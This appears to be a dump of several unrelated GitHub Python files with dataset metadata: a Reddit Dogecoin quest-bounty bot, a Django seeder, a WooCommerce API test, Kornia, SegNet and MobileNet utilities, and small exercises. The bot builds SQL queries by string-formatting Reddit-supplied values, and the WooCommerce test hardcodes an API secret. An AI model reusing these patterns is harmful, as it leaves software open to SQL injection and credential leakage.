get_new_questbot_post_id(reddit_self):\n newpost = [post for post in reddit_self.get_comments(sort='new', limit=1)]\n return newpost\n\n\n# Update Balances function\n\ndef update_balances(tip_id, tip_value):\n print(\"Updating Quest Balances...\")\n logging.debug(\"Updating Quest Balances...\")\n\n # search the database for the tip_id and then retrieve the existing bounty\n\n for bounty_value in cur.execute('SELECT bounty FROM quests WHERE quest_id=\"%s\"' % tip_id):\n old_bounty_value = float(\"\".join(map(str, bounty_value)))\n logging.debug(\"Old Bounty Value is : \" + str(old_bounty_value))\n\n # Then add the bounty to the tip_value\n\n new_bounty_value = float(float(old_bounty_value) + float(tip_value))\n logging.debug(\"NEW Bounty Value is : \" + str(new_bounty_value))\n\n # Then commit the new bounty to the database\n\n cur.execute(\"UPDATE quests SET bounty='%f' WHERE quest_id='%s' \" % (float(new_bounty_value), tip_id))\n logging.debug(\"Committed new bounty value to DB\")\n\n time.sleep(3)\n\n # Then update the original comment with the new bounty\n\n for rid in cur.execute('SELECT reply_id FROM quests WHERE quest_id=\"%s\"' % tip_id):\n reply_id = (\"\".join(map(str, rid)))\n reply_post = r.get_submission(url=reply_id).comments[0]\n\n rex = re.compile(r'Ð(\\d+\\.?\\d*)')\n doge_value = (rex.findall(reply_post.body))\n old_bounty_value = (\"\".join(map(str, doge_value)))\n\n updated_quest_post = str(reply_post.body.replace(str('Ð'+old_bounty_value), str('Ð'+str(new_bounty_value))))\n\n print(\"Updating Quest Post Balance\")\n logging.debug(\"Updating NEW value into Quest Created Post\")\n reply_post.edit(updated_quest_post)\n print(\"Update Successful\")\n logging.debug(\"Update Successful\")\n time.sleep(3)\n sql.commit()\n\n\n\n#Scan for Questbot commands in the subreddits\n\ndef scan_for_commands():\n print('Searching ' + SUBREDDIT + ' for Questbot Commands.')\n logging.debug('Searching ' + SUBREDDIT + ' for Questbot Commands.')\n subreddit = r.get_subreddit(SUBREDDIT)\n posts = subreddit.get_comments(limit=100)\n\n ## Check posts and keep track of previous posts\n\n for post in posts:\n pid = post.id\n bounty_id = post.link_id.replace(\"t3_\", \"\")\n command_author = str(post.author)\n pauthor = post.author.name\n cur.execute('SELECT * FROM oldposts WHERE ID=?', [pid])\n if not cur.fetchone():\n cur.execute('INSERT INTO oldposts VALUES(?)', [pid])\n pbody = post.body.lower()\n post_body = str(\"\".join(map(str, pbody)))\n\n ## Check to see if questbot is mentioned and pull the comment\n\n if \"+/u/questbot \" in post_body:\n print(\"Questbot has recognized its being called\")\n logging.debug(\"Questbot has recognized its being called\")\n rex = re.compile('\\+/u/questbot\\s(\\w+)')\n questbot_command = (\"\".join(map(str, (rex.findall(pbody)))))\n\n ## Process the command using the function\n logging.debug(\"Passing information into PROCESS COMMAND FUNCTION\")\n process_command(questbot_command, bounty_id, pbody, command_author, post, pauthor)\n time.sleep(3)\n\nsql.commit()\n\n\n#Process User Commands\n\n\ndef process_command(questbot_command, bounty_id, pbody, command_author, post, pauthor):\n\n quest_completed = get_quest_completed(bounty_id)\n quest_author = get_quest_author(bounty_id)\n bounty_value = get_bounty(bounty_id)\n reply_id = get_link_id(bounty_id)\n\n if str(questbot_command) == \"complete\":\n print(\"COMPLETE call has been made and recognized\")\n logging.debug(\"COMPLETE call has been made and recognized\")\n if str(quest_completed) != \"YES\":\n\n #set and send the message notifying the author\n\n msg = str(\"/u/\" + command_author + \" is seeking completion for your quest located here: \" + reply_id +\n \"\\n\\n *** \\n\\n You can reward this person by issuing this command under the Quest Post: \\n\\n\"\n \"**+/u/questbot reward \" + command_author + \"**\")\n r.send_message(quest_author, \"Questbot\", msg)\n\n elif str(quest_completed) == \"YES\":\n post.reply(\"Quest already completed!\")\n logging.debug(\"Quest is already complete\")\n\n\n # Check for reward command\n\n elif str(questbot_command) == \"reward\":\n print(\"REWARD call made and recognized\")\n logging.debug(\"REWARD call made and recognized\")\n\n # Pull out user name for tipping from post after the word \"reward.\"\n\n rex = re.compile(r'reward\\s(\\w+)')\n reward_user_name = (\"\".join(map(str, (rex.findall(pbody)))))\n\n ## If issuing user matches the quest author from database use dogetipbot to send reward\n ## Also checking to see if quest has been completed yet by comparing to database\n\n if str(command_author) == str(quest_author) and str(quest_completed) != \"YES\":\n\n ##Make quest completed in the database\n logging.debug(\"Updating database to COMPLETE\")\n\n cur.execute(\"UPDATE quests SET completed='%s' WHERE quest_id='%s' \" % (\"YES\", bounty_id))\n sql.commit()\n\n ## Reply with the congrats and the reward tip.\n logging.debug(\"Posting The Reward TIP post to :\" + reward_user_name + \". With a value of: \" + bounty_value)\n post.reply(\"Quest **\" + str(bounty_id) + \"** Complete! Congratulations \"\n \"**\" + str(reward_user_name) + \"** on becoming the **Champion** of this quest. \"\n \"\\n\\n **Here is your reward!** \\n\\n *** \\n\\n +/u/dogetipbot @\" + str(reward_user_name) +\n \" \" + bounty_value + \" doge verify \\n\\n *** \\n\\n\"\n \"^If ^you ^like ^Questbot ^please ^donate ^to: ^DDwsRDCkJto6eRRUEewVhgXWXEDRiy47L4 ^or ^tip ^/u/trip96\")\n\n ## Update Original Post with completed message\n logging.debug(\"Passing Into QUEST COMPLETE function\")\n quest_complete(bounty_id, reward_user_name,\n bounty_value, pauthor)\n\n elif str(command_author) == str(quest_author) and str(quest_completed) == \"YES\":\n post.reply(\"Quest already completed!\")\n logging.debug(\"Quest already completed\")\n\n elif str(command_author) != str(quest_author) and str(quest_completed) != \"YES\":\n post.reply(\"You are not the Quest Giver and cannot issue rewards on this quest!\")\n logging.debug(\"Cannot issue reward because user is NOT the Quest Author. Posting message.\")\n\nsql.commit()\n\n\n# Quest Completed Function\n\n\ndef quest_complete(bounty_id, reward_user_name, bounty_value, pauthor):\n print(\"Updating Quest Balances FOR COMPLETION...\")\n logging.debug(\"Updating Quest Balances FOR COMPLETION...\")\n\n # Update Quest Giver Stats\n\n qg_reputation_new = float(float(get_user_reputation(pauthor))+1)\n cur.execute('UPDATE users SET reputation=\"%d\" WHERE username=\"%s\"' % (qg_reputation_new, pauthor.lower()))\n sql.commit()\n\n logging.debug(\"Updating Quest giver stats reputation is now: \" + str(qg_reputation_new))\n\n # Update user stats for user who completed quest\n\n logging.debug(\"Finding Quest Champion in DB.\")\n cur.execute('SELECT * FROM users WHERE username=\"%s\"' % reward_user_name.lower())\n data = cur.fetchone()\n if data is None:\n logging.debug(\"Champion NOT already in DB. Adding Now.\")\n cur.execute('INSERT INTO users (username, xp, reputation, level) VALUES '\n '(?,?,?,?)', (reward_user_name.lower(), 1, 0, 0))\n sql.commit()\n time.sleep(2)\n else:\n logging.debug(\"Champion IS in DB, Updating XP Now.\")\n new_user_xp = float(float(get_user_xp(pauthor=reward_user_name.lower()))+1)\n cur.execute('UPDATE users SET xp=\"%d\" WHERE username=\"%s\"' % (new_user_xp, reward_user_name.lower()))\n sql.commit()\n time.sleep(2)\n\n # search the database for the bounty_id and then replace the post with a quest completed message.\n\n user_xp = get_user_xp(reward_user_name)\n\n logging.debug(\"Champions NEW xp is: \" + user_xp)\n logging.debug(\"Getting the REPLY_ID from DB\")\n\n cur.execute('SELECT reply_id FROM quests WHERE quest_id=\"%s\"' % bounty_id)\n reply_id = (\"\".join(map(str, cur.fetchone())))\n logging.debug(\"REPLY_ID is: \" + reply_id + \" \\n Attempting to POST QUEST COMPLETED POST\")\n reply_post = r.get_submission(url=reply_id).comments[0]\n\n quest_completed_post = (\"**This Quest is Completed! Congratulations to: \" + reward_user_name + \"!** \\n\"\n \"\\n\\n *** \\n\\n\"\n \"\\n Total Bounty | Quest Champion | Champion Total XP \\n\"\n \":--------------:|:--------------:|:---------------------:\\n\"\n \" **Ð\" + str(bounty_value) + \"** | \" + reward_user_name + \" | \" + str(user_xp) + \" \"\n \"\\n\\n *** \\n\\n ^If ^you ^like ^Questbot ^please ^donate ^to: ^DDwsRDCkJto6eRRUEewVhgXWXEDRiy47L4 ^or ^tip ^/u/trip96\")\n\n reply_post.edit(quest_completed_post)\n print(\"Successfully Completed updates for completion\")\n logging.debug(\"Successfully Completed updates for completion\")\n set_flair_complete(bounty_id)\n time.sleep(3)\nsql.commit()\n\n\n\n# Scan DOGETIPBOT Comments for tips to Questbot\n\ndef scan_tipbot():\n print(\"Now Checking Dogetipbot Comments for new tips for Questbot...\")\n logging.debug(\"Now Checking Dogetipbot Comments for new tips for Questbot...\")\n try:\n reddit_user = r.get_redditor(user)\n for previous_post in get_new_posts(reddit_user):\n link_id = previous_post.link_id\n tip_id = link_id.replace(\"t3_\", \"\")\n\n # here we wrap the digits because we only want the numbers not the symbol returned\n\n rex = re.compile(r'Ð(\\d+\\.?\\d*)') # Try this! \\d+\\.?\\d* # rex = re.compile(r'Ð(\\d+)')\n doge_value = (rex.findall(previous_post.body))\n tip_value = float(\"\".join(map(str, doge_value)))\n\n #Checking For tips to Questbot\n\n if \"-> /u/questbot \" in process(previous_post.body):\n print(\"Found a New Tip For Questbot!\")\n logging.debug(\"Found a New Tip For Questbot!\")\n update_balances(tip_id, tip_value)\n time.sleep(3)\n\n previous_posts.append(previous_post)\n print(\"Finished Scanning Dogetipbot Comments\")\n logging.debug(\"Finished Scanning Dogetipbot Comments\")\n time.sleep(5)\n except praw.errors.RateLimitExceeded as err:\n print(\"Rate Limit Exceeded:\\n\" + str(err), sys.stderr)\n\n\n#SCAN THE SUBREDDIT FOR QUEST POSTS\n\ndef scan_sub_posts():\n print('Searching ' + SUBREDDIT + ' for New Quest Posts...')\n logging.debug('Searching ' + SUBREDDIT + ' for New Quest Posts...')\n subreddit = r.get_subreddit(SUBREDDIT)\n posts = subreddit.get_new(limit=MAXPOSTS)\n for post in posts:\n pid = post.id\n post_full = post.permalink\n try:\n pauthor = post.author.name\n except AttributeError:\n pauthor = '[DELETED]'\n cur.execute('SELECT * FROM quests WHERE quest_id=\"%s\"' % pid)\n if not cur.fetchone():\n # Set Original Bounty to zero\n bounty = 0.0\n pbody = post.selftext.lower()\n pbody += ' ' + post.title.lower()\n if any(key.lower() in pbody for key in TITLESTRING):\n print('Quest post Found! Creating quest with quest_id ' + pid + ' by ' + pauthor)\n logging.debug('Quest post Found! Creating quest with quest_id ' + pid + ' by ' + pauthor)\n\n # Add the Quest to the Quests table in SQL\n\n cur.execute('INSERT INTO quests (quest_id, author, bounty, completed, post_full) VALUES '\n '(?,?,?,?,?)', (pid, pauthor, bounty, \"NO\", post_full))\n sql.commit()\n\n # Fetch Quest Giver data from SQL if available\n # IF DATA IS 0 IT means no user in database so lets add them\n\n cur.execute('SELECT * FROM users WHERE username=\"%s\"' % pauthor.lower())\n data = cur.fetchone()\n if data is None:\n cur.execute('INSERT INTO users (username, xp, reputation, level) VALUES '\n '(?,?,?,?)', (pauthor.lower(), 0, 0, 0))\n sql.commit()\n else:\n pass\n\n # Make the Quest Created Comment\n\n logging.debug(\"Making QUEST created POST NOW.\")\n post.add_comment(\"**New Quest Created! Comment and Participate Below.** [*What is This?*](http://www.reddit.com/r/questbot/wiki/index) \\n\\n\"\n \"\\n *** \\n\"\n \"\\n Current Bounty | Quest Giver (QG) | QG Reputation | Quest ID\"\n \"\\n:----------------:|:------------:|:------------:|:-------:\"\n \"\\n **Ð\" + str(bounty) + \"** | \" + pauthor + \" | \" + str(get_user_reputation(pauthor)) + \" | \" + pid + \" \"\n \"\\n\\n***\\n\\n\"\n \"\\n [ ^[Share ^this ^Quest] ](http://www.reddit.com/message/compose?subject=Quest%20Time\"\n \"&message=A%20Quester%20Wants%20To%20share%20a%20quest%20with%20you%21%0ACheck%20it%20out%20here%3A%20\" + str(post_full) + \")\"\n \"\\n [ ^[Accept ^this ^Quest] ](http://www.reddit.com/message/compose?to=\" + pauthor + \"&subject=I%20Accept%20Your%20Quest\"\n \"&message=I%20have%20accepted%20your%20quest%20located%20here%3A%20\" + str(post_full) + \")\"\n \"\\n [ ^[Message ^the ^Quest ^Giver] ](http://www.reddit.com/message/compose?to=\" + pauthor + \"&subject=Concerning%20Quest%3A%20\" + pid + \")\"\n \"\\n\\n *^Tip ^this ^comment ^to ^add ^to ^the ^bounty ^USE ^VERIFY ^- ^All ^commands ^must ^be ^issued ^below ^this ^post*\\n\")\n\n\n # Look for the post just created and add th URL of the quest reply post to quests Table\n time.sleep(5)\n get_quest_reply_id(pid)\n set_flair_available(post_full)\n\n time.sleep(3)\n\n print(\"Finished Searching \" + SUBREDDIT)\n logging.debug(\"Finished Searching \" + SUBREDDIT)\n time.sleep(3)\n sql.commit()\n\n\n# Add EXISTING dogetipbot potsts and questbot posts the initial Array\n\nprint(\"------------------------------------------------------------------------------------------------\")\nprint(\"Populating History Arrays\")\nprint(\"------------------------------------------------------------------------------------------------\")\n\nlogging.debug(\"------------------------------------------------------------------------------------------------\")\nlogging.debug(\"Populating History Arrays\")\nlogging.debug(\"------------------------------------------------------------------------------------------------\")\nadd_previous_posts()\nprint(\"Added Existing dogetipbot posts to history\")\n\n# Main Program Loop\n\nprint(\"------------------------------------------------------------------------------------------------\")\nprint(\"Starting Main Functions and Main Loop\")\nprint(\"------------------------------------------------------------------------------------------------\")\n\nlogging.debug(\"------------------------------------------------------------------------------------------------\")\nlogging.debug(\"Starting Main Functions and Main Loop\")\nlogging.debug(\"------------------------------------------------------------------------------------------------\")\n\nwhile True:\n try:\n scan_sub_posts(), scan_tipbot(), scan_for_commands()\n except Exception as e:\n print('An error has occured:', e)\n print(\"------------------------------------------------------------------------------------------------\")\n print('Finished Cycle! Running again in ' + WAITS + ' seconds ')\n print(\"------------------------------------------------------------------------------------------------\")\n\n logging.debug(\"------------------------------------------------------------------------------------------------\")\n logging.debug('Finished Cycle! Running again in ' + WAITS + ' seconds ')\n logging.debug(\"------------------------------------------------------------------------------------------------\")\n sql.commit()\n time.sleep(WAIT)","repo_name":"trip96/Questbot","sub_path":"QuestbotRD.py","file_name":"QuestbotRD.py","file_ext":"py","file_size_in_byte":24568,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34135660497","text":"import argparse\n\n\ndef start():\n print('Start')\n\n\nparser = argparse.ArgumentParser(description='Main')\nsubparsers = parser.add_subparsers(help='Sub-command')\n\nparser_start = subparsers.add_parser('start', help='start the service')\nparser_start.set_defaults(func=start)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n args.func()\n","repo_name":"rondou/apollo-clock-in-clock-out-service","sub_path":"apollo_args.py","file_name":"apollo_args.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10091754548","text":"nama = \"Muhammad Azzam Nur Alwi Mansyur\"\nmatkul = \"Pemrograman Python\"\nnilai = 75.01\n\n# Tuple and List\nket = ('Tidak Lulus', 'Lulus')[nilai >= 75]\n\n# Cetak Data\nprint('Nama Mahasiswa\\t:', nama,\n \"\\nMata Kuliah\\t:\", matkul,\n '\\nNilai\\t\\t:', nilai,\n '\\nKeterangan\\t:', ket)\n","repo_name":"azzmnrwebdev/python-for-beginners","sub_path":"latihan_tuple_list.py","file_name":"latihan_tuple_list.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43459235462","text":"import random\nfrom django.core.management.base import BaseCommand\nfrom django.contrib.admin.utils import flatten\nfrom django_seed import Seed\n\nfrom posts import models as post_models\nfrom users import models as user_models\n\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n parser.add_argument(\"--number\", default=2, type=int,\n help=\"How many Replies do you want to seed?\")\n\n def handle(self, *args, **options):\n number = options.get(\"number\")\n seeder = Seed.seeder()\n all_users = user_models.User.objects.all()\n all_comments = post_models.Comment.objects.all()\n\n seeder.add_entity(post_models.Reply, number, {\n \"author\": lambda x: random.choice(all_users),\n \"comment\": lambda x: random.choice(all_comments),\n })\n\n created_replies = seeder.execute()\n cleaned_replies = flatten(list(created_replies.values()))\n\n self.stdout.write(f\"{len(cleaned_replies)} Replies created!\")\n","repo_name":"davis67/blog","sub_path":"posts/management/commands/seed_replies.py","file_name":"seed_replies.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24373723123","text":"import sys\nimport re\nimport os\n\niDir = sys.argv[1]\nfileName = iDir.split('/')[-1].split('.')[0]\nfolder = iDir.split('/')[:-1] + ['LinkedIn_files']\n\nwith open(iDir) as ifile:\n content = ifile.read()\n\npattern = 'rel=\"stylesheet\" href=\"(.*?)\"'\ncsss = re.findall(pattern, content)\n\nfor css in csss:\n content = content.replace(css, css+\".css\")\n\ncssNames = [css.split('/')[-1] for css in csss]\n\nfor cssFile in os.listdir('/'+os.path.join(*(folder))):\n fileToRename = '/'+os.path.join(*(folder + [cssFile]))\n newName = '/'+os.path.join(*(folder + [cssFile+'.css']))\n if cssFile in cssNames:\n os.rename(fileToRename, newName)\n\npattern = '()'\ncsss = re.findall(pattern, content)\nfor css in csss:\n content = content.replace(css, \"\")\n\nwith open(iDir, 'w') as ofile:\n ofile.write(content)\n\n\n","repo_name":"riceroll/riceroll.github.io-prev-","sub_path":"EXfuture/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25721337806","text":"from woocommerce import API\n\nwcapi = API(\n url=\"http://example.com\",\n consumer_key=\"ck_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n consumer_secret=\"cs_e44fc67bfd555f12d395cee4544016b5dcc95fa0\",\n version=\"wc/v3\"\n)\n\nr = wcapi.get(\"prodeucts\")\n\nimport pprint\nprint(r.status_code)\n\nprint(r.json())\npprint.pprint(r.json())\n","repo_name":"islamicity24/PythonCity","sub_path":"api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23603597641","text":"\r\n\r\ndef GCD(x, y):\r\n# The greatest common denominator (GCD) is the largest positive integer\r\n# that divides into both numbers without a remainder.\r\n# Examples: GCD(256,64)=64, GCD(12,8)=4, GCD(5,3)=1\r\n\r\n # Work With absolute values (positive integers)\r\n\tif x < 0 : x = -x\r\n\tif y < 0 : y = -y\r\n\r\n\tif x + y > 0 :\r\n\t\tg = y\r\n\t\t# Iterate Until x = 0\r\n\t\twhile x > 0:\r\n\t\t\tg = x\r\n\t\t\tx = y % x\r\n\t\t\ty = g\r\n\t\treturn g\r\n\telse:\r\n\t\t# Error, both parameters zero\r\n\t\treturn 0\r\n \r\ndef solve(f, t, nums):\r\n nod = nums[1] - nums[2]\r\n for i in range(3, len(nums)):\r\n nod = GCD(nod, nums[1] - nums[i])\r\n\r\n if nod < 0 : nod = -nod\r\n \r\n y = 0\r\n if (nums[1] % nod) != 0:\r\n y = nod - (nums[1] % nod)\r\n f.write(\"Case #{0}: {1}\\n\".format(t, y))\r\n\r\n \r\n\r\nfp = open('B-large.in', 'r')\r\nfo = open('B-large.out', 'w')\r\ntt = int(fp.readline())\r\nfor t in range(1, tt + 1):\r\n s = fp.readline().split(' ')\r\n nums = []\r\n for x in s:\r\n nums.append(int(x))\r\n solve(fo, t, nums)\r\n\r\nfp.close()\r\nfo.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_54/451.py","file_name":"451.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32194927648","text":"import torch\nimport kornia\nfrom kornia.augmentation import *\nfrom kornia.filters import MotionBlur\n\n\ndef get_device_by_string(device):\n if device == 'CPU': return torch.device('cpu')\n if device == 'GPU': return torch.device('cuda')\n if device == 'TPU':\n try:\n import torch_xla\n return xm.xla_device()\n except:\n print(\"load TPU failed. falls back to CPU.\")\n return torch.device('cpu')\n raise ValueError(f\"load {device} failed\")\n\n\ndef get_device_by_dtype(dtype):\n if dtype == 'float16': return torch.float16\n if dtype == 'float32': return torch.float32\n if dtype == 'float64': return torch.float64\n raise ValueError(f\"load {dtype} failed\")\n\n\ndef create_pipeline(settings):\n pipeline = []\n for setting in settings:\n name = setting['name']\n kwargs = setting['kwargs']\n pipeline.append(globals()[name](**kwargs))\n return torch.nn.Sequential(*pipeline)\n\n\ndef create_image_tensor(image, num, device, dtype):\n return kornia.image_to_tensor(image, keepdim=False).repeat(num, 1, 1, 1).to(\n device=get_device_by_string(device), dtype=get_device_by_dtype(dtype))\n\n\ndef generate_pipeline_code(settings):\n code = \"\"\n for setting in settings:\n name = setting['name']\n kwargs = setting['kwargs']\n k_string = ', '.join('%s=%r' % x for x in kwargs.items())\n code += f\"\\n {name}({k_string}),\"\n\n code = f\"nn.Sequential({code[:-1]}\\n)\"\n return code\n\n\nif __name__ == '__main__':\n settings = [\n {\n \"name\": 'RandomHorizontalFlip',\n \"kwargs\": {\n \"p\": 1.0\n }\n }, \n {\n \"name\": 'RandomVerticalFlip',\n \"kwargs\": {\n \"p\": 1.0\n }\n }\n ]\n print(create_pipeline(settings))\n print(generate_pipeline_code(settings))\n","repo_name":"shijianjian/kornia-augmentation-playground","sub_path":"kornia-augmentation-backend/kornia_augmentation/kornia_aug.py","file_name":"kornia_aug.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3483053876","text":"'''\nThis problem was asked by Palantir.\n\nWrite an algorithm to justify text.\nGiven a sequence of words and an integer line length k,\nreturn a list of strings which represents each line, fully justified.\n\nMore specifically, you should have as many words as possible in each line.\nThere should be at least one space between each word.\nPad extra spaces when necessary so that each line has exactly length k.\nSpaces should be distributed as equally as possible, with the extra spaces,\nif any, distributed starting from the left.\n\nIf you can only fit one word on a line,\nthen you should pad the right-hand side with spaces.\n\nEach word is guaranteed not to be longer than k.\n\nFor example, given the list of words\n['the', 'quick', 'brown', 'fox', 'jumps', 'over', 'the', 'lazy', 'dog']\nand k = 16, you should return the following:\n\n['the quick brown', # 1 extra space on the left\n'fox jumps over', # 2 extra spaces distributed evenly\n'the lazy dog'] # 4 extra spaces distributed evenly\n'''\nimport unittest\nfrom itertools import cycle\nfrom typing import List\n\n\ndef length(wl: List[str]) -> int:\n return sum(map(lambda x: len(x), wl))\n\n\ndef space(wl: List[str], k: int) -> str:\n if len(wl) is 1:\n return wl[0] + (k - len(wl[0])) * ' '\n needed_spaces = k - length(wl)\n i = cycle(range(len(wl) - 1))\n for _ in range(needed_spaces):\n wl[next(i)] += ' '\n return ''.join(wl)\n\n\ndef justify(wl: List[str], k: int) -> List[str]:\n justified = [] # type: List[str]\n line = [wl.pop(0)]\n while wl:\n if length(line) + len(line) + len(wl[0]) <= k:\n line.append(wl.pop(0))\n else:\n justified.append(space(line, k))\n line = []\n justified.append(space(line, k))\n return justified\n\n\nclass TestSolution(unittest.TestCase):\n def test_justify_given(self) -> None:\n wl = ['the', 'quick', 'brown', 'fox', 'jumps',\n 'over', 'the', 'lazy', 'dog']\n justified = [\n 'the quick brown', # 1 extra space on the left\n 'fox jumps over', # 2 extra spaces distributed evenly\n 'the lazy dog'] # 4 extra spaces distributed evenly\n self.assertEqual(justify(wl, 16), justified)\n\n def test_justify_one_word(self) -> None:\n wl = ['the']\n justified = ['the ']\n self.assertEqual(justify(wl, 16), justified)\n\n def test_space_one_word(self) -> None:\n wl = ['brown']\n justified = 'brown '\n self.assertEqual(space(wl, 10), justified)\n\n def test_space_two_words(self) -> None:\n wl = ['brown', 'fox']\n justified = 'brown fox'\n self.assertEqual(space(wl, 10), justified)\n\n def test_space_three_words(self) -> None:\n wl = ['the', 'brown', 'fox']\n justified = 'the brown fox'\n self.assertEqual(space(wl, 14), justified)\n\n def test_length(self) -> None:\n self.assertEqual(length(['the', 'quick', 'brown']), 13)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Nr90/daily_coding_problem","sub_path":"p28/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35177473160","text":"\"\"\"SegNet model.\n\nSegNet: A Deep Convolutional Encoder-Decoder Architecture for Image Segmentation\nhttps://arxiv.org/pdf/1511.00561.pdf\n\n\"\"\"\n\nfrom tensorflow.python.keras import Model\nfrom tensorflow.python.keras.layers import Input\nfrom tensorflow.python.keras.layers.core import Layer, Activation, Reshape, Permute\nfrom tensorflow.python.keras.layers.normalization import BatchNormalization\nfrom tensorflow.python.keras.layers.convolutional import Conv2D, MaxPooling2D, UpSampling2D, ZeroPadding2D\nfrom tensorflow.python.keras.optimizers import Adam \n\ndef segnet(inputShape, nClasses, learning_rate):\n \"\"\"\n SegNet model\n ----------\n inputShape : tuple\n Tuple with the dimensions of the input data (ny, nx, nBands). \n nClasses : int\n Number of classes.\n \"\"\"\n\n filter_size = 64\n kernel = (3, 3) \n pad = (1, 1)\n pool_size = (2, 2)\n \n\n inputs = Input(shape=inputShape)\n \n # Encoder\n x = Conv2D(64, kernel, padding='same')(inputs)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = MaxPooling2D(pool_size=pool_size)(x)\n \n x = Conv2D(128, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = MaxPooling2D(pool_size=pool_size)(x)\n \n x = Conv2D(256, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = MaxPooling2D(pool_size=pool_size)(x)\n \n x = Conv2D(512, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n \n \n # Decoder\n x = Conv2D(512, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = UpSampling2D(size=pool_size)(x)\n \n x = Conv2D(256, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = UpSampling2D(size=pool_size)(x)\n \n x = Conv2D(128, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n x = UpSampling2D(size=pool_size)(x)\n \n x = Conv2D(64, kernel, padding='same')(x)\n x = BatchNormalization()(x)\n \n x = Conv2D(nClasses, (1, 1), padding='valid')(x)\n \n outputs = Activation('softmax')(x)\n \n model = Model(inputs=inputs, outputs=outputs, name='segnet')\n\n ## Compile Keras model\n model.compile(loss='mse',\n optimizer=Adam(lr=learning_rate), metrics=['accuracy'])\n \n return model","repo_name":"Skydipper/CNN-tests","sub_path":"notebooks/AI_Platform/Segmentation/trainer/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"5942647432","text":"'''\nAuthor: myyao\nDate: 2021-06-17 18:55:27\nDescription: \n'''\nimport torch\nfrom torch import nn\nimport os\nimport time\nfrom tqdm import trange\nimport pandas as pd\nimport torchvision\nimport config\nfrom config import measure\n\nif __name__ == '__main__': \n net = torchvision.models.mobilenet.mobilenet_v3_small(pretrained=False)\n layer_name = []\n for _name, _net in net.named_children():\n if _name == \"features\":\n for _name1, _net1 in _net.named_children():\n if _name1 == \"0\" or _name1 == \"12\":\n layer_name.append(\"{}-{}-{}\".format(_name, _name1, str(_net1).split(\"(\")[0]))\n else:\n for _name2, _net2 in _net1.named_children():\n for _name3, _net3 in _net2.named_children():\n if str(_net3).startswith(\"ConvBNActivation\"):\n layer_name.append(\"{}-{}-{}-{}-{}\".format(_name, _name1, _name2, _name3, str(_net3).split(\"(\")[0]))\n else:\n for _name4, _net4 in _net3.named_children():\n layer_name.append(\"{}-{}-{}-{}-{}-{}\".format(_name, _name1, _name2, _name3, _name4, str(_net4).split(\"(\")[0]))\n elif _name == \"avgpool\":\n layer_name.append(_name)\n else:\n for _name1, _net1 in _net.named_children():\n layer_name.append(\"{}-{}-{}\".format(_name, _name1, str(_net1).split(\"(\")[0]))\n # for lay in layer_name:\n # print(lay)\n # exit(0)\n # for l in layer_name:\n # print(l)\n t = [0 for _ in range(len(layer_name))]\n s = [0 for _ in range(len(layer_name))]\n \n for _ in trange(config.loop_num):\n x = torch.rand(1, 3, 224, 224)\n num_layer = 0\n for _name, _net in net.named_children():\n if _name == \"features\":\n for _name1, _net1 in _net.named_children():\n if _name1 == \"0\" or _name1 == \"12\":\n x, _t, _s = measure(x, _net1)\n t[num_layer] += _t\n s[num_layer] += _s\n num_layer += 1\n else:\n for _name2, _net2 in _net1.named_children():\n for _name3, _net3 in _net2.named_children():\n if str(_net3).startswith(\"ConvBNActivation\"):\n x, _t, _s = measure(x, _net3)\n t[num_layer] += _t\n s[num_layer] += _s\n num_layer += 1\n else:\n for _name4, _net4 in _net3.named_children():\n # print(\"{}-{}-{}-{}-{}-{}-{}\".format(_name, _name1, _name2, _name3, _name4, _net4, x.shape))\n x, _t, _s = measure(x, _net4)\n t[num_layer] += _t\n s[num_layer] += _s\n num_layer += 1\n elif _name == \"avgpool\":\n x, _t, _s = measure(x, _net)\n t[num_layer] += _t\n s[num_layer] += _s\n num_layer += 1\n else:\n for _name1, _net1 in _net.named_children():\n x, _t, _s = measure(x, _net1)\n t[num_layer] += _t\n s[num_layer] += _s\n num_layer += 1\n for i in range(len(t)):\n t[i] = t[i] / config.loop_num\n s[i] = s[i] / config.loop_num\n df = pd.DataFrame([t, s], index = [\"exec time\", \"size (b)\"], columns=layer_name)\n 